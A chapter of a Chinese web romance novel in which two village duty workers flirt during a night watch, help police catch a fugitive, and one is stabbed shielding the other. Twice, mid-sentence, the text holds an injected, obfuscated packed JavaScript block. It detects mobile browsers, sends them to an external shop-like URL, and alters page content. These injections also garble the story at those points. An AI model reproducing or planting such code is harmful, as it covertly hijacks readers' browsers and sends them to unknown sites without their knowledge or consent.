裴凌又快力竭了:“算了没事,我想我们应该也碰不见逃犯……先不说了,刚刚打扫了屋子,我得去洗个澡。” 王小满眼珠子转了转,竖起耳朵。很快,她就听见关门锁门的声音,紧接着是淅淅沥沥的流水声。 她霍地从行军床上直起身,蹑手蹑脚地走到值班室外面。 星河闪耀,四野黯淡,值班室门前的监控闪着绿光。 仔细观察一番,她发现连接监控的电线从三间房屋的墙面穿墙而过……这种老式房屋,要布设电线应该会留出比较大的墙面空隙。 呃…… 她当然不是为了偷窥裴凌洗澡,只是想检查一下:监控的电线老化否?接触灵敏否?如果在这一严肃的过程中,不小心瞧见了裴凌玉体横陈的样子,那也怪不了任何人。 再说她又不是没看过。 王小满悄悄走到浴室外面,果不其然,那里的水泥墙凿开了一道缝隙以容电线穿过。 她把眼睛伸过去,看到了—— 裴凌的白色毛衣。 也对,裴凌那么聪明,肯定也发现了这个电线走势问题,所以提前用衣服挡住了这个小洞,她啥都看不见。 裴凌……防小人就算了,君子他也防?! 王小满咬牙切齿,怏怏不乐地回到了值班室。 半个小时后,裴凌带着一身香风出来。刚洗完澡,露在外面的肌肤白皙细腻,泛出水温过盛的粉红色,整个人像嫩葱似的还在滴水。 王小满的眼神跟年糕一样再次肆无忌惮地糊到了他身上。 有时候,王小满觉得这个男人就像只天鹅,但仔细想想,这个比拟不准确,天鹅虽然也是洁白美丽,高贵优雅,但是太脆弱了。 裴凌更像是灵活聪明的大白狐狸,或者是雪豹。 他坐在书桌前打开笔记本电脑撰写文书,时不时抬起头一瞥,关注监控上有无可疑迹象。 看着大白狐狸专注又平静的样子,比格犬起了坏心眼。 她把手机音量调到最大,点开王者荣耀,还特意选了个技能音效最吵的英雄。 “闪现!闪现!别追了要送了!”“辅助你倒是扛伤害啊,杵那儿当木桩呢?” …… 两个小时后,连王小满都玩累了,裴凌还是正襟危坐,在键盘上敲击的节奏从头到尾丝毫未乱,仿佛身后的喧闹与他无关。 难怪人家读书厉害呢,这专注力和情绪稳定度真不是一般人能比的。 爹的,她服了。 “我有点想睡咯。” 裴凌点点头:“睡吧,我来守夜。” 王小满盯着他的背影:“你要是困了就叫醒我,我来替你。” “放心睡,我经常工作到午夜之后,不会困。” “行……” 王小满没话说了。她偶尔翻身的声音,和裴凌打字的声音,令整个屋子显得更为安静。 午夜两点钟。 哨站四周都是平田旷野,那楞山的雪风穿过不远处的森林,像刀子一样切割着沉寂的夜晚。 裴凌确实如他自己所说精力充沛,但他娇少爷的金贵毛病除了不会家务,还有就是因为长期在恒温环境里生活办公导致的格外怕冷。 窗户紧闭,但就缝隙里一点山风灌进来,裴凌都忍不住缩紧脖子。他寻思到隔壁找件外套,一回头就见王小满四仰八叉地睡着,被子都快掉下去了。 他脸上不自觉露出一抹笑色。 闹腾的幼稚小女孩,睡着的模样还是很可爱的。 端详了几秒,裴凌捡起被子,给王小满盖得严严实实,手指不小心触碰到她的脸颊时,女孩的眼睛突然睁开,眼神明亮,没有一点刚刚醒来的茫然。 她笑着一把抓住他的手:“手怎么这么凉?” “你没睡?” “被你的手冻醒了。”王小满十点的时候睡过去,一点钟醒来,其实她刚窝在被子里玩王者,是听到裴凌起身的动静才故意装睡的。 牵着裴凌的手,她感觉他好像有点发抖。 “冷得厉害吧,要风度不要温度的家伙,这可是高原的山上,你要是怕冷就应该早早裹件羽绒服。”也不是任何人都像她一样身强体壮。 裴凌可不想被王小满呲达。正要出去找外套,王小满熊力发动,将他一把扯倒在窄窄的行军床上。 “你这大头菜……”裴凌低嗔,“手都差点被你拉脱臼了。” 王小满掀开被子把裴凌包进去,被窝被王小满的体温烘得暖暖的,她从正面紧紧地把他抱在怀里。两人平坦又肌肉分明的小腹紧紧贴合,仿佛天生就该长在一处般细密缱绻。 “你力气太大,能不能松一松?我都快喘不过气了。” 王小满笑得像个看见自己的窝被自己心爱的狐狸占据的巨型贵宾犬,悄悄在他耳边说: “裴凌,讲实话,之前你问我带擀面杖来干什么,你心里其实在想啥?” 裴凌“呵”了一声:“猜啊。” 王小满舔舔嘴唇:“我猜你那时候想的事,和我现在想的事一样……” “随你尽情畅想,反正不可能。我们是来值班,又不是来度假。”裴凌是认真的,他不知道未来有没有合适的时机和王小满翻云覆雨,但今天绝对不行。 “真的不可以么……” 裴凌冷脸:“真的不可以。快点撒手,我要起来。” 对峙了一会儿,王小满无奈地叹了口气:“你不是冷吗?盖着被子躺好。” “不行,监控得有人看。” “被窝里暖和,你睡吧,后半夜我来守。外面比屋子里冷得多,你出去万一感冒了怎么办。” 高原氧含量不足,一旦感冒发烧很容易引起严重的并发症,裴凌想了想,点点头:“那就麻烦你了。” “跟我还客气什么。” 王小满语气轻松地回应着,看裴凌似乎放下了警惕,另一只手在裴凌的头顶处,不声不响地拉起了行军床边的铁链……下一秒,她猛地俯身,手腕一翻,就想把铁链往裴凌的手上套! 她动作又快又猛,嘴角都已经咧开了得逞的笑。 这小土狗! 裴凌的眼睛不悦地眯了起来。 王小满已经扣住了他一只手的手腕,凭蛮力他不是她的对手,跟她硬碰硬,大概率真会被她锁在床上。 但如果他之前的猜测准确,这间哨站前身是七十年代的劳改农场,那么床边的锁链就是四轨迹锁芯,外铣槽和内铣槽相反,凹槽呈蛇形。想要锁死,必须顺着槽纹发力,一旦逆向扭转,锁链就会卡在锁芯里,反而无法固定。 电光火石间,裴凌已经思考出了对策。顺着王小满的力道抓住那截晃悠的铁链,指尖一绕,铁链就在王小满手中转了个圈。 “诶?” 王小满一愣,手里的软链不知为何变得滞涩无比,锁扣怎么也扣不上。 她使劲拽了拽,锁链缠成了乱麻,牢牢卡在自己的指缝间。 裴凌看她急得皱眉,眼底掠过一丝戏谑,趁着王小满分神的瞬间再次反手一拧,王小满下意识地松了劲,铁链彻底落在了裴凌手中。他顺势按住她的肩膀,三下五除二,利索地反捆住小满的手腕,牢牢把女孩反囚在身下。 “哼,小笨蛋想当小坏蛋,最后成了自食其果的倒霉蛋。” 裴凌的声音带着点沙哑的磁性,还有点被冒犯的愠怒。 温热的气息扫过王小满的耳廓,顿时让她耳朵一阵阵发烫。 她不好意思地笑出了声:“嘿嘿……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124532|195999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还敢笑。” 一番争执,虽然最终是裴凌魔高一丈,但制服这颗兀自傻笑的大头菜也着实费了他好些体力。他喘着气,跨坐在王小满身上缓了片刻,才把手伸过去。 黯淡灯光映照下,他的五指白皙如玉,指节平缓优美,呈现出流线型的修长。关键是与王小满的肤色差,看起来居然比第一次见面时更强烈了…… 王小满正进行一些视觉享受,没想到裴凌紧接着就把手放在她脸上,不轻不重地拧她的脸蛋! 王小满瞬间瞪大了眼。 裴凌看着她惊呆的表情,心情终于舒畅了几分:“作乱的小狗还好意思撒娇,嗯?” 王小满心想从小到大都没谁掐过她的脸啊……她是委屈,哪里撒娇了?!她一个雌鹰般的女人会撒娇?! 她有点生气,可现在两手被擒,即使腰腹力量再强劲恐怕也做不到把裴凌从她身上掀下去。 但是…… 王小满脸上极快地闪过一丝坏笑。 裴凌整个人的重量卡在她的大腿根部,臀贴在她的腿上,胯抵着她的胯。 颠一下他的勺还是可以的吧? 就像鱼儿开始游动,在平静的池塘里掀起一道道波浪,裴凌的臀部突然被坐下的两条有力长腿猛地向上顶起,连带着浑圆弧度上微颤的身躯,也一同颠向半空。【审核您好,联系上下文看,男女主此处并未进行任何违规活动,只是女主想捉弄男主,真的。】 裴凌两手下意识攀住了王小满的臂膀:“你!” 小土狗坏笑着,持续猛猛发力做拱桥运动。 小小的房间内狭窄的床,两人的影子倒映在雪白的墙上,裴凌颠簸着上下起伏。这个姿势这个频率,瞬间两人都回想起一个多月前黏腻深渊般的疯狂之夜。 “没出息的家伙……都没戴那玩意儿,穿着裤子干顶能让你这么高兴?”裴凌声音低沉地挑衅她。 “光是看着你,都让我很高兴。” 王小满目不转睛地盯着裴凌。 她说的是心里话。 此时此刻,他性感的腰背曲线被灯光清晰地勾勒出来,纤细劲瘦的腰肢下,无助的长腿像溺水之人圈紧浮木一样夹紧了她……偏偏那张脸,还是冷淡矜持,无动于衷。 其实,如果灯光再亮一些,王小满就能看出裴凌也早露了怯—— 这老浪精害羞的时候脸不会先红,都是从耳后开始红的。 半晌,裴凌淡淡地呼了口气:“受不了你了……” 他再度伸出手。 但这一次他没有像揉面团似的拧她的脸蛋,而是用掌心,温柔地盖住了她的双眼。 是的。 王小满邪恶的颠簸,其实还远不足以让裴凌的心湖产生什么剧烈波动。 他的羞涩,仅仅只是因为她灼灼逼视的眼神。 那么亮,那么痴迷,那么…… 可爱。 他俯下身,就像聊斋中深夜造访凡人的俊俏狐狸一样,轻轻地在王小满脸上吹了口气。 然后,啄吻她的唇。 一片黑暗里,两人柔软的嘴唇紧紧贴在一起,在交融的鼻息下,这个吻逐渐变成舔咬。唇面紧贴,唇齿纠缠,热烈而缱绻。 王小满心跳如鼓,觉得裴凌有一句话还真是说对了,她没出息……仅仅被他施予了一个吻,她就乖乖消停了下来。 一吻既毕,她又露出小狗眼神看着他,嘴里哼哼唧唧:“快给我解开吧,我保证不乱来了。”这次是真心的。 裴凌温柔至极地笑了笑:“做梦,给我乖乖这样睡一晚上。” “你囚禁我!这是非法拘禁罪,你知法犯法!” “不错啊,还知道非法拘禁罪。可惜非法拘禁罪的立案标准是非法剥夺他人的人身自由二十四小时以上。放心,我顶多囚禁你五六个小时,一觉醒来,你就又是一个自由的小笨蛋了。” 王小满抗议无效,最后,她也不知自己是什么时候睡着的。至于裴凌,他看王小满睡熟后就把她给的束缚给解开,自己尽职尽责地值了一晚上的班。 估计是因为闹腾了半宿,大头菜第二天睡到八点,生物钟还没把她叫醒。 而就在这时,裴凌突然大力地摇晃她,王小满迷迷瞪瞪睁开眼,发现裴凌表情严肃:“小王,快起来,犯人好像找到了!” 7. 美救英雌! 裴凌的责任感在这时候立了大功,他估摸着一晚上过去,绝大部分哨站的人应该都开始松懈,如果逃犯趁着清晨交班有所动作,那就麻烦了。 六点钟的时候,他看着监控映出的小道陆续有了行人经过。 七点,裴凌回了一封工作上的邮件,监控上还是没什么蛛丝马迹。 八点,太阳光穿透丛林,突然,裴凌脸色紧张起来,六个年轻人正从山上往下走,非常可疑。 他第一时间打给了派出所,又叫起王小满。等王小满收拾好,县派出所的人已经全副武装赶上来了。 带队的民警快步走过来,对着裴凌和王小满说:“干得好!你们先别动,我们去观察。” 此时此刻,山上山下的路都被封死。 亲眼目睹抓棒客的场面,王小满手心里全是汗水。 一半因为紧张,一半因为兴奋。 过了十来分钟,山坡上的小道响起了派出所长严厉的声音:“警察!站住!不许动!” 埋伏在裴凌和王小满前方的警长立刻应声附和:“站住!不准跑!”喊完,他又对四面埋伏的民警们挥手怒吼,“跟我冲!截住小路!” 王小满热血上涌,傻了吧唧抄起擀面杖也跟着冲——裴凌藏起来的擀面杖又他爹的被她给找出来了。整整十几号人,十多位警察加一棵大头菜,一起从草丛里钻了出来,把下山的路都给堵死。 “王小满!” 裴凌傻了。眼睁睁看着王小满这个风一样的半二彪子瞬间消失在身侧,那速度快到他连她的衣角都捉不住。 他赶紧跟了过去。 “砰!”山上响起一声清脆的枪声,“全都站住!否则开枪了!”枪声和所长的呼喝顺着山沟一路传下来,六个年轻人手里拿着匕首,一路往下狂奔,见三个拐道都被堵得死死的,他们都不要命地朝小道旁的树林跳。 王小满挥舞着擀面杖,也跟着警察们冲——王小满这体格这勇气,这惊心动魄的时刻,民警们还以为这位值班人员是个女民兵。在华国广袤的大地上,偏远的民族杂居地区,基层女民兵很常见。也没空细问她的身份,只下意识地默认了她的加入。 王小满像只花豹一样狂奔在山林之中,树枝不时在她脸上划过,她也不知跃过了多少个坎,眼睛紧紧盯着前面一道穿黑色冲锋衣的背影,穷追不舍。 她跑着跑着,已经超越了所有的警员,冲到了最前面,与那道黑色人影已然近在咫尺! 王小满猛地一跃,直接一个飞擒,把黑色的背影按倒在地。 此时,她手里的擀面杖已经不知道跑哪去了。 那个黑色的背影一扭头,用力把匕首朝王小满扎过去,王小满眼疾手快,反握住其握刀的手腕,狠狠一扭,把他的手腕压在地上,对着他的脑袋就是飞起一脚,又夺过他的匕首,用刀柄劈头盖脸猛砸! 等到几位警员和裴凌前后赶来,逃犯已经口鼻流血,狼狈不堪地被王小满两只膝盖骑在背上压着。 一个警察掏出手枪对着逃犯:“老实点!”另一个警察上前,准备给他上手铐。 王小满见状,缓缓松了力道。 而就在这时候,那逃犯突然暴起,从冲锋衣里面掏出了军刺。 还不是一般的军刺,裴凌一眼就看出来,这是□□,已经被国家禁止使用的近战武器,会造成开放性伤口。 简单来说,就是专门放血的杀器。 他这一刺正对着王小满的颈部大动脉,就算刺偏了,大概率也得扎进她的肩颈。 一瞬间,裴凌根本来不及思考,他两步上前,用最原始也是最有效的办法,用自己的手臂护住王小满的后颈,为她挡住这一刀。 不像影视剧里人被捅了之后吱哇乱叫,现实是被刀捅了之后……居然一点都不疼。 当然,裴凌知道这是肾上腺素在发力,他除了伤口处微凉,甚至都没办法意识到自己臂膀被扎穿了。 但五秒钟过后,他就眼前一阵阵发黑,整个人像化掉的雪糕脱力后倒。 他没摔地上,王小满一把将他搂住了。 昏过去之前,裴凌耳朵里一片嘈杂,有警察的怒斥声,“叫救护车”的喊声,眼里则是王小满紧缩的瞳孔和血色尽失的脸…… 醒过来时裴凌不出意料在医院。 自己左手手臂被包扎得严严实实,挂着吊瓶,右手边紧挨着坐一狗狗脸女孩。 王小满的脸真的很有欺骗性。 浓眉凤眼,分明非常英气有压迫感,偏偏高挺的鼻子鼻头圆润,鼻子下的嘴也是肉乎乎的十分饱满,在这份英气中糅合几分野性的可爱。 一旦她低眉耷眼,再嘟着嘴,那模样真的可怜,让人不忍心多说一句责备的话。 无声对视了一会儿,两人同时开口。 裴凌:“你没事吧?” 王小满:“你疼不疼?” 这该死的默契,接下来的回答又是异口同声。 “我不疼,犯人都抓到了吗?” “我没事!那个棒客有事,我又把他给暴揍一顿,好悬没把他手臂扭下来塞屁股里给他干成个盆栽。” 裴凌忍不住脸色苍白地笑了出来,这一笑又把他伤口给扯疼了:“嘶……” 王小满咬牙切齿的表情兜头一变:“放心,犯人都抓住了。你伤成这样就别操心这些了……”说到这儿,她忍不住低声嘟囔,“你说你干嘛要上来给我挡刀啊?其实我自己能躲过去的。” 裴凌有气无力地瞥她一眼:“行,没良心的小傻子,我救你救错了是吧。” “你才傻。你知不知道我宁愿我自己受伤,都舍不得让你受伤。”王小满心疼得不行,但又不敢碰他,只能把他的右手扣起来,小心翼翼放到自己的脸颊上贴贴蹭蹭。 这给骚老叔整的老脸微红:“搞这么肉麻干什么,我又没躺太平间……” “你再敢瞎说信不信我揍你!”王小满听不得他说这种话,生气地打断,“你知不知道那是□□,再偏几厘米扎到你主干神经上,你这只手这辈子都抬不起来了。” 裴凌看着王小满,淡淡一笑:“这不没事吗。更何况两害相权取其轻,跟你的小命比起来,我肯定情愿是我的手受伤。” 王小满一直觉得裴凌挺娇贵。 细皮嫩肉肤白貌美,平时怕冷怕脏又挑食,一看就是个在金堆玉砌里被宠大的男孩,结果遭了这么大的罪,他反而跟个没事人似的云淡风轻。 他还跟她说伤口不疼。 但他不知道,人家医生刚才亲口叮嘱她,这种开放性刺伤麻药劲过后疼得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124533|195999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最是厉害,病人可以适当服用止疼药…… 王小满是虎,但她不傻。 她知道裴凌是不希望她过于自责,才表现出这个样子。 她妈妈早早就去世了,这辈子除了她亲爹,还有她的亲妹妹,谁这么关心过她? “怎么了?”裴凌见王小满不言不语盯着自己,那眼眶慢慢红了一圈,难得有些手足无措,“别让我拖着伤反过来安慰你,我可不会安慰人。” 王小满的煽情劲儿被裴凌给打击一波,眼泪自然掉不下来了。这时候病房外又探进来一个人头,彻底打破了这股缠缠绵绵的旖旎氛围:“哥,你醒啦?” 小周背着住院的行李走了进来,先看了看裴凌,又对王小满说:“小满,你快回家吧,这里有我照顾呢。” 王小满不想走,只想把小周踹飞。她才不在乎什么闲言碎语,她甚至巴不得打着照顾的名义跟裴凌两个同吃同住。 结果裴凌有些好笑地看着她:“你妹妹一个人在家,你还不麻利回去。” 王小满还想挣扎:“她又不是不会自己做饭,自己上床睡觉……” “行了,别废话,赶紧回去。” 在裴凌的逼视下,王小满悻悻地走了。 “呼……”玉米小狗走后,裴凌长吁一口气,弱弱地对小周说,“快给我找点止疼药来,我疼得脑子都快不好使了。” 小周赶紧把药和水递上:“村里现在都传遍了,说王小满挺身而出制服罪犯,而你为了救王小满给她以身挡刀!好家伙,你俩这值个班怎么还演上港片了。听得我胆战心惊,生怕你出事。” 裴凌吃了止疼片,恹恹地看着天花板哼哼:“要不是你当逃兵,让王小满来给你顶班,我至于受伤吗?” 小周抿嘴一笑:“哥,你是不知道王小满多喜欢你,她为了跟你多相处,在我那都快让我体会到三顾茅庐诸葛亮的感觉了!我好意思拒绝么?还有,你肯定也不知道,你受伤后不是救护车把你拉下来的,是王小满跑着把你送去医院的。” “你说什么?” 小周观察着裴凌的表情:“惊呆了吧。那条山路又窄又陡,虽然公安一早就安排了救护车在那停着,但救护车上去得费些功夫。王小满二话不说,给你背起来就一路狂奔抄近道给你送下山,五公里的山路她十分钟就跑下来了,公安想帮忙在后面追都追不上她,一个个都说她这身体素质不当特警可惜了。” “……” 裴凌确实震惊了。 也感动了。 实话实说,在这之前裴凌觉得王小满天天跟在他屁股后面缠着他,这小土狗心里想的不外乎就是把他压着狂干三天三夜。 要说用心喜欢他,估计也谈不上。 是的,虽然这话从一个男性的嘴里说出来有点奇怪……但裴凌从来没有相信王小满会真心喜欢自己,人家只是单纯迷恋他风.骚的肉.体,喜欢他在床上放得开罢了。等这阵新鲜劲儿过去,或者女孩寻到更对味儿更同频的年轻对象,自然也就把他抛诸脑后。 但如果王小满真心喜欢他,这事就难办了。 他顶多再过三个月就得回北京去,显然他是不可能和王小满在一起的,而再这样下去给她希望,会不会对她太残忍? 裴凌心情有点复杂。